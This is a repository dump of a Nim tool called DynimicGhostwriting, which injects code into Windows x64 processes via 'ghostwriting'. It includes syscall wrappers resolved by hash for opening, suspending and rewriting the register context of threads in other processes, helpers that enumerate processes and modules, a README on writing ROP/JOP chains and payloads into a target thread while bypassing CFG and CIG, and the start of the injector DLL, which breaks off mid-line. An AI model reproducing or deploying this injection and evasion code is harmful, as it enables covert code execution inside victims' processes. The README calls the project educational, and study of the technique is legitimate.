PSYSTEM_PROCESS_INFORMATION = cast[PSYSTEM_PROCESS_INFORMATION](buffer) 18 | while SystemInfo.NextEntryOffset: 19 | yield SystemInfo 20 | SystemInfo = cast[PSYSTEM_PROCESS_INFORMATION](cast[int](SystemInfo) +% SystemInfo.NextEntryOffset.int) 21 | 22 | iterator threads*(processInfo: PSYSTEM_PROCESS_INFORMATION): PSYSTEM_THREADS = 23 | var 24 | Thread : PSYSTEM_THREADS = cast[PSYSTEM_THREADS](cast[int](processInfo) +% SYSTEM_PROCESS_INFORMATION.sizeof) 25 | for i in 1 .. processInfo.NumberOfThreads: 26 | yield Thread 27 | Thread = cast[PSYSTEM_THREADS](cast[int](Thread) +% SYSTEM_THREADS.sizeof) 28 | 29 | func BaseSetLastNTError(Status: NTSTATUS) = 30 | var 31 | dwErrorCode : ULONG 32 | dwErrorCode = RtlNtStatusToDosError(Status) 33 | SetLastErrorEx(dwErrorCode, 0) 34 | 35 | proc GetThreadHandle*(ThreadHandle: PHANDLE, ClientID: PCLIENT_ID, Functions: array[18, HGEntry]): bool = 36 | var 37 | Access : ACCESS_MASK = THREAD_ALL_ACCESS 38 | ObjAttr : OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES() 39 | Status : NTSTATUS 40 | const 41 | Hash = "NtOpenThread".djb2_hash 42 | syscallv = Functions.getSyscallWord(Hash) 43 | 44 | Status = ntOpenThread(ThreadHandle, Access, &ObjAttr, ClientID) 45 | if NT_SUCCESS(Status): 46 | result = true 47 | else: 48 | BaseSetLastNTError(Status) 49 | when not defined(zima): 50 | echo fmt" [GetThreadHandle Error] = {Status.toHex}" 51 | result = false 52 | 53 | proc GetProcessHandle*(ProcessHandle: PHANDLE, Clid: PCLIENT_ID, Functions: array[18, HGEntry]): bool = 54 | var 55 | Access : ACCESS_MASK = PROCESS_ALL_ACCESS 56 | ObjAttr : OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES() 57 | Status : NTSTATUS 58 | const 59 | Hash = "NtOpenProcess".djb2_hash 60 | syscallv = Functions.getSyscallWord(Hash) 61 | 62 | Status = ntOpenProcess(ProcessHandle, Access, &ObjAttr, Clid) 63 | if NT_SUCCESS(Status): 64 | result = true 65 | else: 66 | BaseSetLastNTError(Status) 67 | when not defined(zima): 68 | echo fmt" [GetProcessHandle Error] = {Status.toHex}" 69 | result = false 70 | 71 | proc GetContext*(ThreadHandle: HANDLE, Context: PCONTEXT, Functions: array[18, HGEntry]): bool = 72 | var 73 | Status : NTSTATUS 74 | const 75 | Hash = "NtGetContextThread".djb2_hash 76 | syscallv = Functions.getSyscallWord(Hash) 77 | 78 | Status = ntGetContextThread(ThreadHandle, Context) 79 | if NT_SUCCESS(Status): 80 | result = true 81 | else: 82 | BaseSetLastNTError(Status) 83 | when not defined(zima): 84 | echo fmt" [GetContext Error] = {Status.toHex}" 85 | result = false 86 | 87 | proc SetContext*(ThreadHandle: HANDLE, Context: PCONTEXT, Functions: array[18, HGEntry]): bool = 88 | var 89 | Status : NTSTATUS 90 | const 91 | Hash = "NtSetContextThread".djb2_hash 92 | syscallv = Functions.getSyscallWord(Hash) 93 | 94 | Status = ntSetContextThread(ThreadHandle, Context) 95 | if NT_SUCCESS(Status): 96 | result = true 97 | else: 98 | BaseSetLastNTError(Status) 99 | when not defined(zima): 100 | echo fmt" [SetContext Error] = {Status.toHex}" 101 | result = false 102 | 103 | proc SuspendThread*(ThreadHandle: HANDLE, Functions: array[18, HGEntry]): bool = 104 | var 105 | Status : NTSTATUS 106 | const 107 | Hash = "NtSuspendThread".djb2_hash 108 | syscallv = Functions.getSyscallWord(Hash) 109 | 110 | Status = ntSuspendThread(ThreadHandle, NULL) 111 | if NT_SUCCESS(Status): 112 | result = true 113 | else: 114 | BaseSetLastNTError(Status) 115 | when not defined(zima): 116 | echo fmt" [SuspendThread Error] = {Status.toHex}" 117 | result = false 118 | 119 | proc ResumeThread*(ThreadHandle: HANDLE, Functions: array[18, HGEntry]): bool = 120 | var 121 | Status : NTSTATUS 122 | const 123 | Hash = "NtResumeThread".djb2_hash 124 | syscallv = Functions.getSyscallWord(Hash) 125 | 126 | Status = ntResumeThread(ThreadHandle, NULL) 127 | if NT_SUCCESS(Status): 128 | result = true 129 | else: 130 | BaseSetLastNTError(Status) 131 | when not defined(zima): 132 | echo fmt" [ResumeThread Error] = {Status.toHex}" 133 | result = false 134 | 135 | proc SuspendProcess*(ProcessHandle: HANDLE, Functions: array[18, HGEntry]): bool = 136 | var 137 | Status : NTSTATUS 138 | const 139 | Hash = "NtSuspendProcess".djb2_hash 140 | syscallv = Functions.getSyscallWord(Hash) 141 | 142 | Status = ntSuspendProcess(ProcessHandle) 143 | if NT_SUCCESS(Status): 144 | result = true 145 | else: 146 | BaseSetLastNTError(Status) 147 | when not defined(zima): 148 | echo fmt" [SuspendProcess Error] = {Status.toHex}" 149 | result = false 150 | 151 | proc ResumeProcess*(ProcessHandle: HANDLE, Functions: array[18, HGEntry]): bool = 152 | var 153 | Status : NTSTATUS 154 | const 155 | Hash = "NtResumeProcess".djb2_hash 156 | syscallv = Functions.getSyscallWord(Hash) 157 | 158 | Status = ntResumeProcess(ProcessHandle) 159 | if NT_SUCCESS(Status): 160 | result = true 161 | else: 162 | BaseSetLastNTError(Status) 163 | when not defined(zima): 164 | echo fmt" [ResumeProcess Error] = {Status.toHex}" 165 | result = false 166 | 167 | proc VirtualAlloc*(ProcessHandle: HANDLE, BaseAddress: ptr PVOID, RegionSize: var PSIZE_T, AllocType: ULONG, Protect: ULONG, Functions: array[18, HGEntry]): PVOID = 168 | var 169 | Status : NTSTATUS 170 | const 171 | Hash = "NtAllocateVirtualMemory".djb2_hash 172 | syscallv = Functions.getSyscallWord(Hash) 173 | 174 | Status = ntAllocateVirtualMemory(ProcessHandle, BaseAddress, 0, RegionSize, AllocType, Protect) 175 | if NT_SUCCESS(Status): 176 | result = BaseAddress[] 177 | else: 178 | BaseSetLastNTError(Status) 179 | when not defined(zima): 180 | echo fmt" [VirtualAlloc Error] = {Status.toHex}" 181 | result = nil 182 | 183 | proc VirtualFree*(ProcessHandle: HANDLE, BaseAddress: ptr PVOID, RegionSize: var PSIZE_T, FreeType: ULONG, Functions: array[18, HGEntry]): bool = 184 | var 185 | Status : NTSTATUS 186 | const 187 | Hash = "NtFreeVirtualMemory".djb2_hash 188 | syscallv = Functions.getSyscallWord(Hash) 189 | 190 | Status = ntFreeVirtualMemory(ProcessHandle, BaseAddress, RegionSize, FreeType) 191 | if NT_SUCCESS(Status): 192 | result = true 193 | else: 194 | BaseSetLastNTError(Status) 195 | when not defined(zima): 196 | echo fmt" [VirtualFree Error] = {Status.toHex}" 197 | result = false 198 | 199 | proc QueryInformationSystem*(SystemInformationClass: SYSTEM_INFORMATION_CLASS, SystemInfoAddress: PVOID, 200 | SystemInfoLength: ULONG, ReturnLength: PULONG, Functions: array[18, HGEntry]): bool = 201 | var 202 | Status : NTSTATUS 203 | const 204 | Hash = "NtQuerySystemInformation".djb2_hash 205 | syscallv = Functions.getSyscallWord(Hash) 206 | 207 | Status = ntQuerySystemInformation(SystemInformationClass, SystemInfoAddress, SystemInfoLength, ReturnLength) 208 | if NT_SUCCESS(Status): 209 | result = true 210 | else: 211 | BaseSetLastNTError(Status) 212 | result = false 213 | 214 | proc QueryInformationProcess*(ProcessHandle: HANDLE, ProcessInfoClass: PROCESS_INFORMATION_CLASS, ProcessInfo: PVOID, 215 | ProcessInfoLength: ULONG, ReturnLength: PULONG, Functions: array[18, HGEntry]): bool = 216 | var 217 | Status : NTSTATUS 218 | const 219 | Hash = "NtQueryInformationProcess".djb2_hash 220 | syscallv = Functions.getSyscallWord(Hash) 221 | 222 | Status = ntQueryInformationProcess(ProcessHandle, ProcessInfoClass, ProcessInfo, ProcessInfoLength, ReturnLength) 223 | if NT_SUCCESS(Status): 224 | result = true 225 | else: 226 | if Status == 0xC0000004: 227 | BaseSetLastNTError(Status) 228 | result = false 229 | else: 230 | BaseSetLastNTError(Status) 231 | when not defined(zima): 232 | echo fmt" [QueryInformationProcess Error] = {Status.toHex}" 233 | result = false 234 | 235 | proc QueryInformationThread*(ThreadHandle: HANDLE, InfoClass: THREAD_INFORMATION_CLASS, ThreadInfo: PVOID, 236 | ThreadInfoLength: ULONG, ReturnLength: PULONG, Functions: array[18, HGEntry]): bool = 237 | var 238 | Status : NTSTATUS 239 | const 240 | Hash = "NtQueryInformationThread".djb2_hash 241 | syscallv = Functions.getSyscallWord(Hash) 242 | 243 | Status = ntQueryInformationThread(ThreadHandle, InfoClass, ThreadInfo, ThreadInfoLength, ReturnLength) 244 | if NT_SUCCESS(Status): 245 | result = true 246 | else: 247 | BaseSetLastNTError(Status) 248 | when not defined(zima): 249 | echo fmt" [QueryInformationThread Error] = {Status.toHex}" 250 | result = false 251 | 252 | proc QueryVirtualMemory*(ThreadHandle: HANDLE, BaseAddress: PVOID, MemoryInfoClass: MEMORY_INFORMATION_CLASS, MemoryInfo: PVOID, 253 | MemoryInfoLength: ULONG, ReturnLength: PULONG, Functions: array[18, HGEntry]): bool = 254 | var 255 | Status : NTSTATUS 256 | const 257 | Hash = "NtQueryVirtualMemory".djb2_hash 258 | syscallv = Functions.getSyscallWord(Hash) 259 | 260 | Status = ntQueryVirtualMemory(ThreadHandle, BaseAddress, MemoryInfoClass, MemoryInfo, MemoryInfoLength, ReturnLength) 261 | if NT_SUCCESS(Status): 262 | result = true 263 | else: 264 | BaseSetLastNTError(Status) 265 | when not defined(zima): 266 | echo fmt" [QueryVirtualMemory Error] = {Status.toHex}" 267 | result = false 268 | 269 | proc GetWindowHandle*(WindowObj: PWindowObject): bool = 270 | 271 | proc enumeratewindows(p1: HWND, p2: LPARAM): WINBOOL = 272 | var 273 | data : PWindowObject = cast[PWindowObject](p2) 274 | tid : HANDLE = GetWindowThreadProcessId(p1, NULL) 275 | 276 | when not defined(zima): 277 | var 278 | length : int32 = GetWindowTextLength(p1) 279 | buff : LPWSTR = newWString(length) 280 | GetWindowText(p1, buff, length+1) 281 | if winimConverterBOOLToBoolean(p1.IsWindowVisible) and length != 0: 282 | echo fmt" Window: {$buff} | Handle : {p1} | tid: {tid}" 283 | 284 | if data.ThreadID == tid: 285 | data.WindowHandle = p1 286 | result = FALSE 287 | else: 288 | result = TRUE 289 | 290 | if not winimConverterBOOLToBoolean(EnumWindows(cast[WNDENUMPROC](enumeratewindows), cast[LPARAM](WindowObj))): 291 | result = true 292 | else: 293 | result = false 294 | 295 | proc getClientID*(TargetProcess, TargetThread: int16, ClientID: PCLIENT_ID, Functions: array[18, HGEntry]): bool = 296 | var 297 | buffer : LPVOID = NULL 298 | retLength : ULONG = 0 299 | dataSize : PSIZE_T 300 | let 301 | procInfo : SYSTEM_INFORMATION_CLASS = systemProcessInformation 302 | 303 | if not QueryInformationSystem(procInfo, NULL, 0, &retLength, Functions): 304 | 305 | retLength += 0x1000 306 | dataSize = cast[PSIZE_T](&retLength) 307 | buffer = VirtualAlloc(cast[HANDLE](-1), &buffer, dataSize, MEM_COMMIT.ULONG, PAGE_READWRITE.ULONG, Functions) 308 | 309 | if buffer == NULL: 310 | when not defined(zima): 311 | echo "[-] Failed to allocate buffer" 312 | return false 313 | 314 | if not QueryInformationSystem(procInfo, buffer, retLength, NULL, Functions): 315 | when not defined(zima): 316 | echo "[-] Unable to query process information..." 317 | 318 | if not VirtualFree(cast[HANDLE](-1), &buffer, dataSize, MEM_DECOMMIT, Functions): 319 | when not defined(zima): 320 | echo "[-] Failed to free memory..." 321 | return false 322 | block ClientIDSearch: 323 | for process in buffer.processes(): 324 | 325 | if process.UniqueProcessId == TargetProcess: 326 | for thread in process.threads(): 327 | 328 | # Get Main Thread (should be first one) or the Target THread 329 | if TargetThread == 0 or thread.ClientId.UniqueThread == TargetThread: 330 | ClientID[] = thread.ClientId 331 | break ClientIDSearch 332 | 333 | if not VirtualFree(cast[HANDLE](-1), &buffer, dataSize, MEM_DECOMMIT, Functions): 334 | when not defined(zima): 335 | echo "[-] Failed to free memory..." 336 | return false 337 | result = true 338 | 339 | proc ReadProcessMemory*(ProcessHandle: HANDLE, BaseAddress: LPCVOID, Buffer: LPVOID, Size: SIZE_T, 340 | NumberOfBytesRead: ptr SIZE_T, Functions: array[18, HGEntry]): bool = 341 | var 342 | Status : NTSTATUS 343 | const 344 | Hash = "NtReadVirtualMemory".djb2_hash 345 | syscallv = Functions.getSyscallWord(Hash) 346 | 347 | Status = ntReadVirtualMemory(ProcessHandle, cast[PVOID](BaseAddress), Buffer, Size, Size.unsafeAddr) 348 | if NT_SUCCESS(Status): 349 | if not NumberOfBytesRead.isNil: 350 | NumberOfBytesRead[] = Size 351 | result = true 352 | else: 353 | BaseSetLastNTError(Status) 354 | when not defined(zima): 355 | echo fmt" [ReadProcess Error] = {Status.toHex}" 356 | result = false 357 | 358 | proc EnumProcessModules*(ProcessHandle: HANDLE, Module: ptr HMODULE, cb: DWORD, lpcNeeded: LPDWORD, Functions: array[18, HGEntry]): bool = 359 | let 360 | BasicInformation : PROCESS_INFORMATION_CLASS = PROCESS_INFORMATION_CLASS.ProcessBasicInformation 361 | 362 | var 363 | numModules, count : DWORD = 0 364 | retLength : ULONG = 0 365 | loaderData : PPEB_LDR_DATA 366 | listHead,listEntry : PLIST_ENTRY 367 | procInfo : PROCESS_BASIC_INFORMATION 368 | currModule : LDR_DATA_TABLE_ENTRY 369 | 370 | if not QueryInformationProcess(ProcessHandle, BasicInformation, &procInfo, cast[DWORD](procInfo.sizeof), &retLength, Functions): 371 | return false 372 | 373 | if procInfo.PebBaseAddress == NULL: 374 | return false 375 | 376 | if not ReadProcessMemory(ProcessHandle, cast[PVOID](procInfo.PebBaseAddress->Ldr), &loaderData, loaderData.sizeof, NULL, Functions): 377 | return false 378 | 379 | # listHead address 380 | listHead = cast[PLIST_ENTRY](loaderData->InMemoryOrderModuleList) 381 | 382 | # Read in First List Entry Flink 383 | if not ReadProcessMemory(ProcessHandle, listHead, &listEntry, listEntry.sizeof, NULL, Functions): 384 | return false 385 | 386 | numModules = cb div cast[DWORD](HMODULE.sizeof) 387 | 388 | while listEntry != listHead: 389 | 390 | if not ReadProcessMemory(ProcessHandle, listEntry.ToModule, &currModule, currModule.sizeof, NULL, Functions): 391 | return false 392 | 393 | if count < numModules: 394 | cast[ptr HMODULE](cast[ByteAddress](Module) +% (count * HMODULE.sizeof))[] = cast[HMODULE](currModule.DLLBase) 395 | 396 | inc count 397 | if count > numModules: 398 | return true 399 | 400 | listEntry = currModule.InMemoryOrderLinks.Flink 401 | 402 | if not isNil(lpcNeeded): 403 | lpcNeeded[] = count * cast[DWORD](HMODULE.sizeof) 404 | 405 | result = true 406 | 407 | proc ReadModuleName(ProcessHandle: HANDLE, Module: PLDR_DATA_TABLE_ENTRY, StringLength: DWORD, Functions: array[18, HGEntry]): string = 408 | var 409 | modAddr : PUNICODE_STRING 410 | strAddr : PWSTR 411 | modNameW : wstring 412 | let 413 | addrSz : SIZE_T = PVOID.sizeof.SIZE_T 414 | 415 | modAddr = cast[PUNICODE_STRING](Module->BaseDllName) 416 | modNameW = newWString(StringLength) 417 | 418 | if not ReadProcessMemory(ProcessHandle, cast[PVOID](modAddr->Buffer), &strAddr, addrSz, NULL, Functions): 419 | raiseOSError(osLastError()) 420 | 421 | if not ReadProcessMemory(ProcessHandle, strAddr, &modNameW, StringLength, NULL, Functions): 422 | raiseOSError(osLastError()) 423 | 424 | result = $(modNameW) 425 | result.removeNullChars 426 | 427 | proc EnumThreadStack*(ProcessHandle, ThreadHandle: HANDLE, StackBaseAddr: var PVOID, Functions: array[18, HGEntry]): bool = 428 | let 429 | ThreadInfoClass : THREAD_INFORMATION_CLASS = THREAD_INFORMATION_CLASS.ThreadBasicInformation 430 | var 431 | ThreadBasicInfo : THREAD_BASIC_INFORMATION = THREAD_BASIC_INFORMATION() 432 | 433 | result = true 434 | 435 | if not QueryInformationThread(ThreadHandle, ThreadInfoClass, &ThreadBasicInfo, ThreadBasicInfo.sizeof.int32, NULL, Functions): 436 | result = false 437 | return 438 | 439 | if ThreadBasicInfo.TebBaseAddress == NULL: 440 | result = false 441 | return 442 | 443 | let 444 | tib : PNT_TIB = cast[PNT_TIB](ThreadBasicInfo.TebBaseAddress) 445 | 446 | if not ReadProcessMemory(ProcessHandle, cast[PVOID](tib->StackLimit), &StackBaseAddr, StackBaseAddr.sizeof, NULL, Functions): 447 | result = false 448 | 449 | proc GetRemoteModule*(hProcess: HANDLE, ModuleName: string, Functions: array[18, HGEntry]): int {.raises: [OSError, ValueError].} = 450 | let 451 | BasicInformation : PROCESS_INFORMATION_CLASS = PROCESS_INFORMATION_CLASS.ProcessBasicInformation 452 | var 453 | count : DWORD 454 | loaderData : PPEB_LDR_DATA 455 | listHead, listEntry : PLIST_ENTRY 456 | procInfo : PROCESS_BASIC_INFORMATION 457 | currModule : LDR_DATA_TABLE_ENTRY 458 | wstringLen : DWORD 459 | modName : string 460 | let 461 | MAX_MODULES = 0x2710 462 | 463 | if not QueryInformationProcess(hProcess, BasicInformation, &procInfo, procInfo.sizeof.DWORD, NULL, Functions): 464 | raiseOSError(osLastError()) 465 | 466 | if procInfo.PebBaseAddress == NULL: 467 | raiseOSError(osLastError()) 468 | 469 | if not ReadProcessMemory(hProcess, cast[PVOID](procInfo.PebBaseAddress->Ldr), &loaderData, loaderData.sizeof, NULL, Functions): 470 | raiseOSError(osLastError()) 471 | 472 | listHead = cast[PLIST_ENTRY](loaderData->InMemoryOrderModuleList) 473 | 474 | if not ReadProcessMemory(hProcess, listHead, &listEntry, listEntry.sizeof, NULL, Functions): 475 | raiseOSError(osLastError()) 476 | 477 | count = 0 478 | while listHead != listEntry: 479 | let 480 | CurrLdrData : PLDR_DATA_TABLE_ENTRY = listEntry.ToModule 481 | 482 | if not ReadProcessMemory(hProcess, CurrLdrData, &currModule, currModule.sizeof, NULL, Functions): 483 | raiseOSError(osLastError()) 484 | 485 | wstringLen = currModule.BaseDllName.MaximumLength.DWORD 486 | modName = ReadModuleName(hProcess, CurrLdrData, wstringLen, Functions) 487 | 488 | if ModuleName == modName: 489 | result = cast[int](currModule.DLLBase) 490 | return 491 | 492 | inc count 493 | if count > MAX_MODULES: 494 | result = 0 495 | return 496 | 497 | listEntry = currModule.InMemoryOrderLinks.Flink 498 | 499 | proc EnumProcesses*(Functions: array[18, HGEntry], Process: string = "", Io: File) = 500 | var 501 | buffer : LPVOID = NULL 502 | retLength : ULONG = 0 503 | dataSize : PSIZE_T 504 | let 505 | procInfo : SYSTEM_INFORMATION_CLASS = systemProcessInformation 506 | 507 | if not QueryInformationSystem(procInfo, NULL, 0, &retLength, Functions): 508 | retLength += 0x1000 509 | dataSize = cast[PSIZE_T](&retLength) 510 | buffer = VirtualAlloc(cast[HANDLE](-1), &buffer, dataSize, MEM_COMMIT, PAGE_READWRITE, Functions) 511 | if buffer == NULL: 512 | return 513 | if not QueryInformationSystem(procInfo, buffer, retLength, NULL, Functions): 514 | when not defined(zima): 515 | echo "[-] Unable to query process information..." 516 | if not VirtualFree(cast[HANDLE](-1), &buffer, dataSize, MEM_DECOMMIT, Functions): 517 | when not defined(zima): 518 | echo "[-] Failed to free memory..." 519 | return 520 | for process in buffer.processes: 521 | let 522 | CurrentProcess : string = $process.ImageName.Buffer 523 | if Process.isEmptyOrWhitespace or CurrentProcess.contains(Process): 524 | let text = fmt"[i] Process: {process.ImageName.Buffer} | PID: {process.UniqueProcessID}" 525 | yellow(text, Io) 526 | for thread in process.threads: 527 | let text = fmt" Thread: {thread.ClientID.UniqueThread} | User Time: {thread.UserTime.LargeIntToInt64} | Context Switches: {thread.ContextSwitchCount}" 528 | green(text, Io) 529 | if not VirtualFree(cast[HANDLE](-1), &buffer, dataSize, MEM_DECOMMIT, Functions): 530 | return 531 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DynimicGhostwriting 2 | Windows x64 Process Injection via Ghostwriting with Dynamic Configuration 3 | 4 | Currently only tested on Windows 10 Home Build 19042 5 | 6 | # Nim Dependencies # 7 | Requires Winim. To install run: 8 | 9 | `nimble install winim` 10 | 11 | # Compilation # 12 | For a DLL with echo statements: 13 | `nim debugbuild` 14 | 15 | For a DLL without echo statements: 16 | `nim build` 17 | 18 | # What is GhostWriting? 19 | GhostWriting is a Windows Process Injection technique first publically mentioned in 2007 by c0de90e7. It achieves code execution within the context of a thread 20 | without opening a handle to the process or writing to it's virtual memory. It achieves this by manipulating register context for a specific thread in combination with specific gadgets that prevent the thread from crashing after an operation. For more information on GhostWriting, see https://github.com/c0de90e7/GhostWriting. 21 | 22 | # What the heck man! This isn't GhostWriting! 23 | Technically, no this isn't GhostWriting as described by c0de90e7 since I'm opening a handle to the process nor am I simply enumerating windows to get the threadID. But I find the technique is way more stable when opening a handle to the process and allows for use of volatile registers in the Write Primative. Also, I wanted to advance my understand of Nim, so I went out of my way to write winAPI calls, dynamically resolve syscalls at run-time, enumerating the Stack's base address, etc. It would be trivial to implement the original method if you want :wink: 24 | 25 | # On Gadget Volatility 26 | GhostWriting, as described by c0de90e7, required the use of non-volatile registers for it's write primatives. However, these are hard to find in current Windows dlls commonly loaded by processes (ntdll, kernel32.dll, etc), and therefore, limited in number. The use of volatile registers comes with some limitations. This is because resuming the thread will often have other threads clobbering your register state, resulting in (most-likely) the process to crash. Some ways to get around this issue are to either manipulate at the process level, find a process with a single thread, or find a thread that is currently suspended. 27 | 28 | Since this repository is for educational purposes, I've decided to use a volatile write primative and to simply open a handle to the process and suspend it, preventing any clobbering of register contexts. 29 | 30 | # On Dynamic Configuration 31 | GhostWriting gives us the ability to write/execute ROP/JOP chains to/in a target thread's virtual address space. This can be useful to sneakily achieve arbitrary computation within a process whilst simultaneously bypassing CFG and CIG, along with the benefits of only opening a handle to a single thread with no writes. However, hard-coding re-useable code chains, gadgets, and payloads can be limiting, and having the ability to load in gadgets, payloads, and re-useable code chains at run-time could serve to be benificial to the technique. In my attempt to implement dynamic configurability, I've decided to use JSON. 32 | 33 | # Configuration # 34 | 35 | An example of a configuration can be seen in defaults.nim. 36 | Below are the JSON keys and their underlying fields to use. 37 | 38 | ## Memorys ## 39 | A list of RW memory to use. The Stack is always created. 40 | Field | Required? | Description 41 | ----- | --------- | -------------- 42 | Label | Yes | The Name of the Memory to be referenced 43 | BaseAddress | Yes | The base address of the memory 44 | Size | Yes | The size of the memory 45 | Padding | Yes | The padding to increment the memory addresses by for successive writes 46 | 47 | ## Payloads ## 48 | A list of payloads to write to the target thread. 49 | 50 | Field | Required? | Description 51 | ----- | --------- | -------------- 52 | Label | Yes | The name of the Payload to be referneced in the Re-Useable Code Chain 53 | Bytes | Yes | The byte sequence of the payload 54 | StoreLocation | Yes | Which section of memory to store the payload. This can be the Stack or an arbitrary section of RW memory referenced under Memorys. 55 | StoreOffset | Yes | The offset from the StoreLocation's Base Address to write the payload. 56 | 57 | ## Gadgets ## 58 | A list of gadgets to be used in the injection. Requires atleast 1 Sink Gadget (jmp -2) and 1 Main Store (Write Primative). 59 | 60 | Field | Required? | Description 61 | ----- | --------- | -------------- 62 | Name | Yes | The name of the Gadget, to be refernced in the Re-Useable Code Chain. 63 | BytePattern | Yes | The byte pattern of the gadget. 64 | GadgetModule | Yes | The module where the gadget resides. 65 | ModuleOffset | Yes | The offset within the module where the gadget resides. 66 | GadgetType | Only for Sink and MainStore Gadgets | The type of operation the gadget performs. 67 | Volatile | Yes | The volatiliy of the registers used by the gadget. 68 | DestinationRegister | Only for MainStore Gadgets | The destination register of the gadget. 69 | SourceRegister | Only for MainStore Gadgets | The source register of the gadget. 70 | 71 | 72 | ## StartContext ## 73 | The Context to use to start the execution of the Re-Usable Code Chain 74 | 75 | Field | Required? | Description 76 | ----- | --------- | -------------- 77 | Target | Yes | The Target Memory Address to signal the end of execution. 78 | RIP | Yes | The starting memory address for the RIP register. 79 | RSP | Yes | The starting memory address for the RSP register. 80 | 81 | ### StartContext Sub-Fields ### 82 | The sub-fields of the above keys 83 | 84 | Field | Required? | Description 85 | ----- | --------- | -------------- 86 | Type | Yes | The type of memory address. 87 | Value | Yes | The value of the respective Type. For example, a value for Type Gadget would reference a named Gadget. 88 | Offset | No | The offset from the value. 89 | 90 | ### Available Types ### 91 | Type | Description 92 | ---- | ----------- 93 | Gadget| A loaded Gadget 94 | Memory| A loaded RW Memory 95 | Int| A raw integer 96 | 97 | ## CodeChain ## 98 | The ROP/JOP chain to be written to the target thread. The program keeps track of the current address to write to, incrementing by the designated padding in the Memory section. For the Stack, the padding is set to 1. 99 | 100 | Field | Required? | Description 101 | ----- | --------- | -------------- 102 | Type | Yes | The type of memory address. 103 | Location | Yes | The referenced Memory to write to. For example, a value of "Stack" would write to the Stack. 104 | Value | Yes | The value of the respective Type. For example, a value for Type Gadget would reference a named Gadget. 105 | GadgetOffset | Optional | The Offset from the Gadget's address to write. 106 | Module | Only for Function Types | The module containing the referenced function. 107 | Section | Only for CodeCaveRVA Types | The section for the RVA of the code cave 108 | MemoryOffset | Only for Memory Types | The offset from the refernced Memory's base address 109 | 110 | ### Available Types ### 111 | Type | Description 112 | ---- | ----------- 113 | DONTCARE | The Value at the current address doesn't matter. Increments the current address by the referenced Memorys's padding * the specified value. 114 | SHADOWSPACE | Useful for Function Calls. Writes 0x20 0's to the referenced Memory's current address 115 | Gadget | A Loaded Gadget 116 | Int | A raw integer 117 | Memory | A loaded memory's base address 118 | Function | A function's address 119 | FunctionRVA | The relative virtual address of a function in a referenced module 120 | Module | A loaded module's base address 121 | ModuleSize | A loaded module's size 122 | CodeCave | A code cave in a referenced module 123 | CodeCaveRVA | The relative virtual address of a code cave in a referenced module 124 | Payload | A payload's base address 125 | PayloadSize | A payload's size 126 | 127 | # TODO # 128 | I'm still working on an example JOP Chain. Hopefully that doesn't break too many things 😆 129 | -------------------------------------------------------------------------------- /config.nims: -------------------------------------------------------------------------------- 1 | 2 | # Only support x64 atm 3 | task debugbuild, "build project with debug statements": 4 | exec "nim c -o:gwdebug.dll -f -d=mingw --passL:-Wl,--dynamicbase --app=lib --nomain --cpu=amd64 injector.nim" 5 | exec "nim c -d=mingw testdllexec.nim" 6 | 7 | task build, "build project": 8 | exec "nim c -o:gw.dll -f -d=mingw -d:zima --passL:-Wl,--dynamicbase --app=lib --nomain --cpu=amd64 injector.nim" 9 | exec "nim c -d=mingw -d:zima testdllexec.nim" -------------------------------------------------------------------------------- /injector.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | 7 | import Modules/ghostwrite 8 | 9 | proc NimMain() {.cdecl, importc.} 10 | 11 | proc DllMain*(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: DWORD): BOOL {.stdcall, exportc, dynlib.} = 12 | result = TRUE 13 | case fdwReason: 14 | of DLL_PROCESS_ATTACH: 15 | NimMain() 16 | when not defined(zima): 17 | write(stdout, "[+] Loaded DLL!\n") 18 | of DLL_PROCESS_DETACH: 19 | discard 20 | of DLL_THREAD_ATTACH: 21 | discard 22 | of DLL_THREAD_DETACH: 23 | discard 24 | else: 25 | discard 26 | 27 | proc Ghostwrite*(TargetProc, TargetThread: int16 = 0, Config: string = "", Io: File = stdout): bool {.nimcall, exportc, dynlib.} = 28 | 29 | NimMain() 30 | result = true 31 | var 32 | WindowObj : WindowObject = WindowObject() 33 | HGArray : array[18, HGEntry] = newHGArray() 34 | NewClient : CLIENT_ID = CLIENT_ID() 35 | SaveContext, ExeContext, StartCtx : CONTEXT = CONTEXT(ContextFlags: CONTEXT_ALL) 36 | Memorys : seq[RWMemory] = newSeq[RWMemory]() 37 | Gadgets : seq[Gadget] = newSeq[Gadget]() 38 | Payloads : seq[Payload] = newSeq[Payload]() 39 | ProcessHandle, ThreadHandle : HANDLE = 0 40 | TargetProcess, TargetThread : int16 = 0 41 | CodeNode : JsonNode = newJArray() 42 | TargetRip : DWORD64 43 | 44 | # Initialize HG 45 | if not HGArray.InitializeHGTable: 46 | when not defined(zima): 47 | echo "Failed to initialize hg table" 48 | result = false 49 | return 50 | 51 | # Set Target Process 52 | if TargetProc == 0: 53 | 54 | write(Io, "Enter Process to look for -> ") 55 | try: 56 | var 57 | input : string = readLine(stdin).string 58 | HGArray.EnumProcesses(input, Io) 59 | except: 60 | result = false 61 | return 62 | 63 | write(Io, "Enter PID to inject into -> ") 64 | try: 65 | var 66 | input = readLine(stdin) 67 | TargetProcess = input.parseInt.int16 68 | except: 69 | result = false 70 | return 71 | 72 | write(Io, "Enter Thread to inject into -> ") 73 | try: 74 | var 75 | input = readLine(stdin) 76 | TargetThread = input.parseInt.int16 77 | except: 78 | result = false 79 | return 80 | 81 | # Initialize Structures 82 | if not InitializeClientID(TargetProcess, TargetThread, &NewClient, &WindowObj, HGArray): 83 | when not defined(zima): 84 | red("[-] Failed to initialize Client ID") 85 | result = false 86 | return 87 | when not defined(zima): 88 | green("[+] Initialized Client ID!") 89 | 90 | if not InitializeHandles(&ProcessHandle, &ThreadHandle, &NewClient, HGArray): 91 | when not defined(zima): 92 | red("[-] Failed to initialize Handles") 93 | result = false 94 | return 95 | when not defined(zima): 96 | green("[+] Initialized Handles!") 97 | 98 | if not InitializeContexts(ThreadHandle, &SaveContext, &ExeContext, &StartCtx, HGArray): 99 | when not defined(zima): 100 | red("[-] Failed to Get Contexts") 101 | result = false 102 | return 103 | when not defined(zima): 104 | green("[+] Initialized Contexts") 105 | 106 | if not InitializeStack(ProcessHandle, ThreadHandle, ExeContext, Memorys, HGArray): 107 | when not defined(zima): 108 | red("[-] Failed to initialize stack structure") 109 | result = false 110 | return 111 | when not 